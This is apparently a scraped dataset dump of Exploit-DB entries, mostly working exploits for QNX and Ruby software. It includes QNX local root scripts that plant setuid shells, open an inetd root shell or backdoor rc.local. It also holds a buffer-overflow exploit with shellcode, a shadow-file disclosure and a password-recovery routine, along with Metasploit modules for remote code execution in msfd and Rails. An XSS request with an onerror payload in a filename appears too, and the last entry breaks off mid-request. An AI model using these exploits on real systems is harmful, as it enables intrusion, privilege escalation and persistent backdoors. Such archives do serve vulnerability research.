deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27168
Description: QNX 6.2/6.3 - Multiple Privilege Escalation / Denial of Service Vulnerabilities
Type: local
Platform: qnx
Date: 2006-02-07
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/16539/info

QNX is susceptible to multiple local vulnerabilities. These issues include multiple buffer-overflow vulnerabilities, a format-string vulnerability, an insecure library-path vulnerability, insecure default-directory-permission vulnerability, and a denial-of-service vulnerability.

These issues allow local attackers to execute arbitrary machine code and commands with superuser privileges, facilitating the complete compromise of affected computers. Attackers may also crash affected computers, denying service to legitimate users.

QNX version 6.2.0, 6.2.1, and 6.3 are affected by these issues; earlier versions may also be affected. 

To exploit the denial-of-service vulnerability, the following command is reportedly sufficient:

echo -e "break *0xb032d59fnrncontncont" | gdb gdb
Exploit-DB #32153
Description: QNX 6.4.x/6.5.x ifwatchd - Local Privilege Escalation
Type: local
Platform: qnx
Date: 2014-03-10
Author: cenobyte

Exploit:
#!/bin/sh
#
#        QNX 6.4.x/6.5.x ifwatchd local root exploit by cenobyte 2013
#                         <vincitamorpatriae@gmail.com>
#
# - vulnerability description:
# Setuid root ifwatchd watches for addresses added to or deleted from network
# interfaces and calls up/down scripts for them. Any user can launch ifwatchd
# and provide arbitrary up/down scripts. Unfortunately ifwatchd does not drop
# privileges when executing user supplied scripts.
#
# - vulnerable platforms:
# QNX 6.5.0SP1
# QNX 6.5.0
# QNX 6.4.1
#
# - exploit description:
# This exploit creates a fake arrival-script which will be executed as root by
# passing it to the -A parameter of /sbin/ifwatchd. The fake arrival-script
# copies /bin/sh to /tmp/shell and makes it setuid root. Once the setuid shell
# is in place ifwatchd will be killed to drop the user into the root shell.
#
# - example:
# $ uname -a
# QNX localhost 6.5.0 2010/07/09-14:44:03EDT x86pc x86
# $ id
# uid=100(user) gid=100
# $ ./qnx-ifwatchd.sh
# QNX 6.4.x/6.5.x ifwatchd local root exploit by cenobyte 2013
#
# [-] creating fake arrival-script
# [-] executing ifwatchd, please wait
# Killed
# [-] now executing suid shell
# # id
# uid=100(user) gid=100 euid=0(root)

PATH=/bin:/usr/bin:/sbin

if [ ! -x /sbin/ifwatchd ]; then
	echo "error: cannot execute /sbin/ifwatchd"
	exit 1
fi

echo "QNX 6.4.x/6.5.x ifwatchd local root exploit by cenobyte 2013"
echo
echo "[-] creating fake arrival-script"
cat << _EOF_ > /tmp/0
#!/bin/sh
PATH=/bin:/usr/bin
IFWPID=\$(ps -edaf | grep "ifwatchd -A" | awk '!/grep/ { print \$2 }')
cp /bin/sh /tmp/shell
chown root:root /tmp/shell
chmod 4755 /tmp/shell
rm -f /tmp/0
kill -9 \$IFWPID
exit 0
_EOF_

chmod +x /tmp/0

echo "[-] executing ifwatchd, please wait"
ifwatchd -A /tmp/0 -v lo0 2>&1 >/dev/null
echo "[-] now executing suid shell"
/tmp/shell
Exploit-DB #32156
Description: QNX 6.4.x/6.5.x pppoectl - Information Disclosure
Type: local
Platform: qnx
Date: 2014-03-10
Author: cenobyte

Exploit:
#
#          QNX 6.4.x/6.5.x pppoectl disclose /etc/shadow by cenobyte 2013
#                         <vincitamorpatriae@gmail.com>
#
# - vulnerability description:
# QNX setuid root /sbin/pppoectl allows any user to gain access to privileged
# information such as the root password hash.
#
# The vulnerability exists because of a failure to drop privileges or check the
# permissions and ownership on the file specified as the configuration file.
#
# If a user specifies a file such as /etc/shadow, pppoectl will display the
# first line of the shadow file in the error output.
#
# - vulnerable platforms:
# QNX 6.5.0SP1
# QNX 6.5.0
# QNX 6.4.1

$ id
uid=100(user) gid=100

$ ls -la /etc/shadow
-rw-------  1 root      root             69 Oct 10 16:55 /etc/shadow
$ pppoectl -f /etc/shadow lo0
pppoectl: bad parameter: "root:QSkSGrRQOSLoO:[PII_REDACTED]:0:0"
Exploit-DB #1479
Description: QNX Neutrino 6.2.1 - 'phfont' Race Condition Privilege Escalation
Type: local
Platform: qnx
Date: 2006-02-08
Author: kokanin

Exploit:
#!/bin/sh
# word, exploit for http://www.idefense.com/intelligence/vulnerabilities/display.php?id=383
# greetings and salutations from www.lort.dk
# kokanin@dtors 18/10/2003
# $ cksum /usr/photon/bin/phfont
#[PII_REDACTED]      30896 /usr/photon/bin/phfont
# $ uname -a
# QNX localhost 6.2.1 2003/01/08-14:50:46est x86pc x86 
cat > phfontphf.c << __EOF__
int main(){
setuid(0);
system("echo 1234 stream tcp nowait root  /bin/sh       sh -i>/tmp/dsr && /usr/sbin/inetd /tmp/dsr");
} 
__EOF__
make phfontphf >/dev/null
ln -s /usr/photon/bin/phfont ./phfont
export PHFONT=hello
export PHOTON2_PATH=mom
./phfont
rm phfont*

# milw0rm.com [2006-02-08]
Exploit-DB #1347
Description: QNX RTOS 6.3.0 (x86) - 'phgrafx' Local Buffer Overflow
Type: local
Platform: qnx
Date: 2005-11-30
Author: p. minervini

Exploit:
/*
 * minervini@neuralnoise.com (c) 2005, all rights reserved.
 * sample exploit for phgrafx on QNX 6.3.0 x86
 *
 * tested on: QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86
 */

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <err.h>

#ifndef _PATH
# define _PATH ("/usr/photon/bin/phgrafx")
#endif

#ifndef _RET_INIT
# define _RET_INIT (864)
#endif

/* thanks to my friend pi3 that suggested me to call a libc
 * function to make the shellcode way shorter than it was */

char scode[] = "\x31\xc0"      // xor    %eax,%eax
 "\x50"                        // push   %eax
 "\x68\x2f\x2f\x73\x68"        // push   $0x68732f2f
 "\x68\x2f\x62\x69\x6e"        // push   $0x6e69622f
 "\x54"                        // push   %esp
 "\xbb\xEF\xBE\xAD\xDE"        // mov    $0xDEADBEEF,%ebx
 "\xff\xd3";                   // call   *%ebx

unsigned long get_sp (void) {
  __asm__ ("movl %esp, %eax");
}

int main (int argc, char **argv) {

  int i, slen = strlen (scode), offset = 0;
  long ptr, *lptr, addr;
  char *buf;
  void *handle;

  handle = dlopen (NULL, RTLD_LAZY);
  addr = (long) dlsym (handle, "system");

  for (i = 0; i < 4; i++) {
     char temp = (*((char *) &addr + i) & 0xff);
     if (temp == 0x00 || temp == 0x09 || temp == 0x0a) {
        puts
          ("currently system()'s address contains bytes like 0x00, 0x09 or 0x0a, so it probably won't work since"
           " the application seems to truncate those bytes. BTW you can rely on functions like exec*(), spawn*()"
           " or MsgSend*() to get this working.\n"
           "more at http://www.qnx.org/developers/docs/momentics621_docs/neutrino/lib_ref/");
        return (-1);
     }
  }

  memcpy((char *)&scode + 0xf, &addr, 4);

  if (argc > 1)
    offset = strtoul(argv[1], NULL, 0);

  if (!(buf = (char *) malloc(1032)))
    err(1, "malloc()");

  memset(buf, 0, 1032);

  for (i = 0; i < (_RET_INIT - slen); i++)
    buf[i] = 'A'; // inc %ecx

  printf("shellcode length: %d\n", slen);

  for (i = (_RET_INIT - slen); i < _RET_INIT; i++)
    buf[i] = scode[i - (_RET_INIT - slen)];

  lptr = (long *) (buf + _RET_INIT);

  printf("address: 0x%lx\n", ptr = (get_sp () - offset));

  for (i = 0; i < ((1024 - _RET_INIT) / 4); i++)
    *(lptr + i) = (int) ptr;

  execl(_PATH, "phgrafx", buf, NULL);

  return (0);
}

// milw0rm.com [2005-11-30]
Exploit-DB #1481
Description: QNX RTOS 6.3.0 - Insecure 'rc.local' Permissions System Crash / Privilege Escalation
Type: local
Platform: qnx
Date: 2006-02-08
Author: kokanin

Exploit:
#!/bin/sh
# this combines http://www.idefense.com/intelligence/vulnerabilities/display.php?id=387
# and http://www.idefense.com/intelligence/vulnerabilities/display.php?id=386
# into local r00t w00t t00t t00t, hugs and kisses from www.lort.dk. 
# unset PAGER; man chmod | mail -s "urgent reading" support@qnx.com
# kokanin discovered this around august/september 2004
echo "performing check"
if [ -w /etc/rc.d/rc.local ] ; 
then echo "check passed, backdooring system" && 
cat >/tmp/moo.c << __EOF__ && cd /tmp && make moo && echo "chown root /tmp/moo\
&& chmod 6755 /tmp/moo" >> /etc/rc.d/rc.local && echo "rc.local backdoored,\
 crashing system" && echo -e "break *0xb032d59f\nr\ncont\ncont" | gdb gdb; 
int main(){
setuid(0);
system("/bin/sh");
}
__EOF__
else echo "system is not a default QNX 6.3.0 install, or someone set correct permissions manually, sorry";
fi

# milw0rm.com [2006-02-08]
Exploit-DB #19851
Description: QSSL QNX 4.25 A - 'crypt()' Local Privilege Escalation
Type: local
Platform: qnx
Date: 2000-04-15
Author: Sean

Exploit:
/*
source: https://www.securityfocus.com/bid/1114/info

A design error in the operation of the crypt(3) function exists in QNX, from QNX System Software, Limited (QSSL). The flaw allows the recovery of passwords from the hashes.

On most Unix variants, crypt(3) is based on a variant of the DES encryption algorithm, used as a hashing algorithm. QNX, however, implements its own hashing algorithm, which, unlike standard crypt(3), contains all the information required to directly recover the password. This can result in the recovery of passwords by local users who have access to the password file, which in turn can result in the compromise of the root account. 
*/

static ascii2bin(short x)
{
  if (x>='0' && x<'A')
    return x-'0';
  if (x>='A' && x<'a')
    return (x-'A')+9; 
  return (x-'a')+26+9;
} 
char bits[77];

char *quncrypt(char *pw)
{
  static char newpw[14];
  int i; 
  int j,rot;
  int bit,ofs;
  char salt[2];
  int temp;
  
  salt[0]=*pw++;
  salt[1]=*pw++;
  for (i=0;i<72;i++)
    bits[i]=0;
  for (i=0;i<12;i++)  
    newpw[i]=ascii2bin(pw[i]);
  newpw[13]=0;
  rot=(salt[1]*4-salt[0])%128;  /* here's all the saltdoes.  A rotation */
  for (i=0;i<12;i++)
  {
    for (j=0;j<6;j++)
    {
      bit=newpw[i]&(1<<j);  /* move password into bit array */
      bits[i*6+j]=bit?1:0;
    } 
  }
  while (rot--)  /* do the big rotate */
  {
    bits[66]=bits[0];
    for (i=0;i<=65;i++)
      bits[i]=bits[i+1];
  }
    
  for (i=0;i<8;i++)  
  { 
    newpw[i]=0;
    for (j=0;j<7;j++)
    {                                  
      bit=bits[i+j*8];
      newpw[i]|=(bit<<j);  /* and compile the bit array back */  
    }
  }   
  newpw[8]=0;
  return newpw;
}
Exploit-DB #44570
Description: Metasploit Framework - 'msfd' Remote Code Execution (Metasploit)
Type: remote
Platform: ruby
Date: 2018-05-02
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Metasploit msfd Remote Code Execution',
      'Description'    => %q{
      Metasploit's msfd-service makes it possible to get a msfconsole-like
      interface over a TCP socket. If this socket is accessible on a remote
      interface, an attacker can execute commands on the victim's machine.

      If msfd is running with higher privileges than the current local user,
      this module can also be used for privilege escalation. In that case,
      port forwarding on the compromised host can be used.

      Code execution is achieved with the msfconsole command: irb -e 'CODE'.
      },
      'Author'         => 'Robin Stenvi <robin.stenvi[at]gmail.com>',
      'License'        => BSD_LICENSE,
      'Platform'       => "ruby",
      'Arch'           => ARCH_RUBY,
      'Payload'        =>
        {
          'Space'    => 8192,   # Arbitrary limit
          'BadChars' => "\x27\x0a",
          'DisableNops' => true
        },
      'Targets'  =>
        [
          [ 'Automatic', { } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Apr 11 2018',  # Vendor notification
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(55554)
      ])
  end

  def check
    connect
    data = sock.get_once
    if data.include?("msf")
      disconnect
      return Exploit::CheckCode::Appears
    end
    disconnect
    return Exploit::CheckCode::Unknown
  end

  def exploit
    connect
    sock.get_once
    sock.put "irb -e '" + payload.encoded + "'\n"
    disconnect
  end
end
Exploit-DB #44569
Description: Metasploit Framework - 'msfd' Remote Code Execution (via Browser) (Metasploit)
Type: remote
Platform: ruby
Date: 2018-05-02
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
     'Name'           => 'Metasploit msfd Remote Code Execution via Browser',
     'Description'    => %q{
      Metasploit's msfd-service makes it possible to get a msfconsole-like
      interface over a TCP socket. This module connects to the msfd-socket
      through the victim's browser.

      To execute msfconsole-commands in JavaScript from a web application,
      this module places the payload in the POST-data. These POST-requests
      can be sent cross-domain and can therefore be sent to localhost on the
      victim's machine. The msfconsole-command to execute code is 'rbi -e
      "CODE"'.

      Exploitation when the browser is running on Windows is unreliable and
      the exploit is only usable when IE is used and the quiet-flag has been
      passed to msf-daemon.
      },
      'License'        => BSD_LICENSE,
      'Author'         => 'Robin Stenvi <robin.stenvi[at]gmail.com>',
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Targets'        =>
        [
          [ 'Automatic', {}],
        ],
      'Payload'        =>
        {
          'Space' => 8192,  # Arbitrary limit
          'DisableNops' =>  'True',
          'BadChars' => "\x22\x0a"
        },
      'DisclosureDate' => 'Apr 11 2018',  # Vendor notification
      'DefaultTarget'  => 0))

      register_options([
        OptString.new('REMOTE_IP', [true, 'Remote IP address when called from victim', '127.0.0.1']),
        OptString.new('REMOTE_PORT', [true, 'Remote port the service is running at', '55554'])
      ])
  end

  def exploit
    super
  end

  def on_request_uri(cli, request)
    msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"
    sc = payload.encoded
    shellcode = "\\x" + sc.unpack('U'*sc.length).collect {|x| x.to_s 16}.join("\\x")
    var1 = rand_text_alpha(rand(6..11))
    var2 = rand_text_alpha(rand(6..11))
    html =  <<-EOS
<html>
<head></head>
<body>
<script>
var #{var1} = new XMLHttpRequest();
#{var1}.open("POST","http://#{datastore['REMOTE_IP']}:#{datastore['REMOTE_PORT']}/", true);
var #{var2} = String("#{shellcode}");
#{var1}.send("irb -e \\"" + #{var2} + "\\"\\n");
</script>
</body>
</html>
EOS
    print_status("#{msg} Sending HTML...")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end
Exploit-DB #39792
Description: Ruby on Rails - Development Web Console (v2) Code Execution (Metasploit)
Type: remote
Platform: ruby
Date: 2016-05-09
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails Development Web Console (v2) Code Execution',
      'Description'    => %q{
          This module exploits a remote code execution feature of the Ruby on Rails
        framework. This feature is exposed if the config.web_console.whitelisted_ips
        setting includes untrusted IP ranges and the web-console gem is enabled.
      },
      'Author'         => ['hdm'],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'https://github.com/rails/web-console' ]
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        => [ ['Automatic', {} ] ],
      'DefaultOptions' => { 'PrependFork' => true },
      'DisclosureDate' => 'May 2 2016',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(3000),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', '/missing404' ])
      ], self.class)
  end

  #
  # Identify the web console path and session ID, then inject code with it
  #
  def exploit
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path),
      'method'  => 'GET'
    }, 25)

    unless res
      print_error("Error: No response requesting #{datastore['TARGETURI']}")
      return
    end

    unless res.body.to_s =~ /data-mount-point='([^']+)'/
      if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump')
        print_error('Error: The web console is either disabled or you are not in the whitelisted scope')
      else
        print_error("Error: No rails stack trace found requesting #{datastore['TARGETURI']}")
      end
      return
    end

    console_path = normalize_uri($1, 'repl_sessions')

    unless res.body.to_s =~ /data-session-id='([^']+)'/
      print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
      return
    end

    session_id = $1

    print_status("Sending payload to #{console_path}/#{session_id}")
    res = send_request_cgi({
      'uri'       => normalize_uri(console_path, session_id),
      'method'    => 'PUT',
      'headers'   => {
        'Accept'           => 'application/vnd.web-console.v2',
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {
        'input' => payload.encoded
      }
    }, 25)
  end
end
Exploit-DB #40086
Description: Ruby on Rails ActionPack Inline ERB - Code Execution (Metasploit)
Type: remote
Platform: ruby
Date: 2016-07-11
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails ActionPack Inline ERB Code Execution',
      'Description'    => %q{
          This module exploits a remote code execution vulnerability in the
        inline request processor of the Ruby on Rails ActionPack component.
        This vulnerability allows an attacker to process ERB to the inline
        JSON processor, which is then rendered, permitting full RCE within
        the runtime, without logging an error condition.
      },
      'Author'         =>
        [
          'RageLtMan <rageltman[at]sempervictus>'
        ],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2016-2098' ]
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        =>	[ ['Automatic', {} ] ],
      'DisclosureDate' => 'Mar 1 2016',
      'DefaultOptions' => {
        "PrependFork" => true
      },
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
        OptString.new('TARGETPARAM', [ true, 'The target parameter to inject with inline code', 'id'])
      ], self.class)

  end

  def json_request
    code = Rex::Text.encode_base64(payload.encoded)
    return {
      datastore['TARGETPARAM'] => {"inline" => "<%= eval(%[#{code}].unpack(%[m0])[0]) %>"}
    }.to_json
  end

  def exploit
    print_status("Sending inline code to parameter: #{datastore['TARGETPARAM']}")
    send_request_cgi({
      'uri'     => normalize_uri(target_uri.path),
      'method'  => 'GET',
      'ctype'   => 'application/json',
      'headers' => {
        'Accept' => 'application/json'
      },
      'data'    => json_request
    }, 25)
  end
end
Exploit-DB #45601
Description: AlchemyCMS 4.1 - Cross-Site Scripting
Type: webapps
Platform: ruby
Date: 2018-10-15
Author: Ismail Tasdelen

Exploit:
# Exploit Title: AlchemyCMS 4.1 - Cross-Site Scripting
# Date: 2018-10-14 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://alchemy-cms.com/
# Software Link : https://github.com/AlchemyCMS/alchemy_cms
# Software : AlchemyCMS
# Version : 4.1-stable
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : N/A

# A Stored XSS vulnerability has been discovered in version 4.1.0 of AlchemyCMS via the /admin/pictures image field.
 
# HTTP POST Request :

POST /admin/pictures HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/admin/pages/80/edit
X-CSRF-Token: E6zZ6vohGua9Q0arzQVTUTmq/fJw48xBnkmfQeYxILYtmRAhDcxkaV5FeGyajgOtSXMs7r9xms7Wo44PEP9HTg==
X-Requested-With: XMLHttpRequest
Content-Length: 1574870
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]45409128
Cookie: _alchemy_demo_session=%2BSKdSGUIZALtIkYucZKu36eXcVTh4kSCFKjcxqLyFnd%2B5C87xtdx6%2B4Zkjy31YpXRzXI1nwu3BsIvI9v6eYio%2BOh1S3Kb1wd3YcARJTGJeK8ByX9N45trldIwmxK09FqDTMv897K3%2F%2Fe05YiJUEwz2jGkuXkiaxk37AHmjuJNtSNwLfGwAakOWN%2FKQvqAbl%2BMWV9crpeUuq66p6%2Bar1WmGmRcNDqUcfnDFfLmNa8%2BlCBNjieI5N0kpAv2xBJ30EZqoxee13TmKhvPoU4m3UehLKToa8gW5tCQQy7N3BF6ipZa5H1l16%2FxzwPEJl37F3T5%2F%2FkFr4JOxtYSiH9Nd1itpJjMBSZkGAou49SZoBq%2F23r%2BbENN81HrstL2TlaHkxeFdivOnAjBgwpst1qj570WU22FOQeKo80fWnARs23lCHAJy2RyY8dENcpagIQUgdbxqlCaEDqcUnnroZj0g8mhjG%2FdD2cLdym3usSVBmLoiVIPTcHf5T%2FavLUpF6PC0hUwgNEwgNZKzunlPl8tr17e9t9--RjgT8BiSM30kK4WY--s%2BPgcdnz62DCJTK14z5aag%3D%3D; __atuvc=3%7C42; __atuvs=5bc38ae909d900c3002
Connection: close

----------------------------[PII_REDACTED][PII_REDACTED]45409128
Content-Disposition: form-data; name="utf8"

â
----------------------------[PII_REDACTED][PII_REDACTED]45409128
Content-Disposition: form-data; name="authenticity_token"

GqjmyJ8FM+6rE6IIK5Or6Znszlg8ilvkUKsYJsqT3l3Cl7GAKn8L6xoCio55o9IaxztHwOKOSsRHz5vb4LTOGA==
----------------------------[PII_REDACTED][PII_REDACTED]45409128
Content-Disposition: form-data; name="picture[upload_hash]"
[PII_REDACTED]685091350
----------------------------[PII_REDACTED][PII_REDACTED]45409128
Content-Disposition: form-data; name="picture[image_file]"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")>.jpg"
Content-Type: image/jpeg